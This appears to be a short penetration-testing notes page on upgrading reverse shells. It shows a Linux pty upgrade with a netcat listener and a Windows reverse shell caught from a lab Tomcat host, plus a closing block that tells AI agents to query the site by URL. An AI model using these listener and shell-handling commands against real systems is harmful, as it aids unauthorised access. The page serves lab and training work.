# Upgrading shell

## Linux&#x20;

```
root@r1:~# python3 -c 'import pty;pty.spawn("/bin/bash")' 
python3 -c 'import pty;pty.spawn("/bin/bash")' 
root@r1:~# ^Z 
[1]+  Stopped                  
nc -nlvp 8001 
root@Kali:~/# stty raw -echo 
write ‘fg' and enter 
root@DESKTOP99:~/# nc -nlvp 8001 
root@r1:~# ls 
test_intercept.pcap  user.txt 
root@r1:~# cat 
/bin/   dev/   home/  lib64/ mnt/   proc/  run/   snap/  sys/   usr/boot/  etc/   lib/   media/ opt/   root/  sbin/  srv/   tmp/   var/ 
root@r1:~# 
```

## Windows Host

```
root@kali# rlwrap nc -lnvp 443 
Ncat: Version 7.70 (https://nmap.org/ncat) 
Ncat: Listening on :::443 
Ncat: Listening on 0.0.0.0:443 
Ncat: Connection from 10.10.10.130. 
Ncat: Connection from 10.10.10.130:49720. 
Microsoft Windows [Version 10.0.17763.107] 
(c) 2018 Microsoft Corporation. All rights reserved. 
C:\tomcat\apache-tomcat-8.5.37\bin>whoami 
arkham\alfred 
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://infra.newerasec.com/infrastructure-testing/gaining-access/upgrading-shell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
